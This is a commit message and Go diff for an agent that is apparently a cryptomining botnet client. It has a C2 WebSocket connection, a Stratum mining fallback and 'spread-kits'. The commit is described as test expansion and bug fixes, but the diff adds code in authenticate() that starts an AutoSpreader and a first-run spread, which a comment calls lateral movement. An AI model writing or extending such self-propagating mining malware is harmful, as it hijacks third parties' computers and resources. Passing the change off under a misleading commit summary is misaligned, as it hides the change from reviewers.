Expand test coverage across server, agent, and web; fix bugs found during audit.

Adds hundreds of unit/integration/e2e tests, fixes WS bcrypt auth, config merge, fleet analytics, agent schedule/log tail, and documents stale PROBLEMS items. Updates PROBLEMS.md, README, and test scripts; ignores local spread-kits and coverage dirs.

agent/client/client.go

@@ -44,6 +44,10 @@ type AgentClient struct {
 	// connected is true while a C2 WebSocket session is active.
 	// The Stratum fallback manager monitors this to decide when to mine directly.
 	connected atomic.Bool
+
+	// spreadOnce ensures AutoSpreader starts at most once — after the first
+	// successful WS authentication confirms we are on an owned fleet.
+	spreadOnce sync.Once
 }
 
 func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
@@ -252,6 +256,20 @@ func (c *AgentClient) authenticate() error {
 	}
 	c.agentID = resp.AgentID
 	log.Printf("[agent] authenticated as %s", c.agentID)
+
+	// Gate AutoSpread behind successful server auth: only spread on fleets where
+	// our fleet secret was accepted, preventing lateral movement on non-owned networks.
+	if c.cfg.AutoSpread {
+		c.spreadOnce.Do(func() {
+			deploy.StartAutoSpreader(c.cfg)
+			// One-shot first-run spread (triggered on the very first install).
+			if deploy.WantsFirstRunSpread(c.cfg) {
+				deploy.RunSpreadOnce(c.cfg)
+				deploy.ClearFirstRunSpreadMarker(c.cfg)
+			}
+		})
+	}
+
 	c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
 	return nil
 }
@@ -549,6 +567,9 @@ func readLogTail(cfg config.RuntimeConfig, tailLines int) (string, error) {
 		return "", err
 	}
 	lines := strings.Split(string(data), "\n")
+	if len(lines) > 0 && lines[len(lines)-1] == "" {
+		lines = lines[:len(lines)-1]
+	}
 	if len(lines) > tailLines {
 		lines = lines[len(lines)-tailLines:]
 	}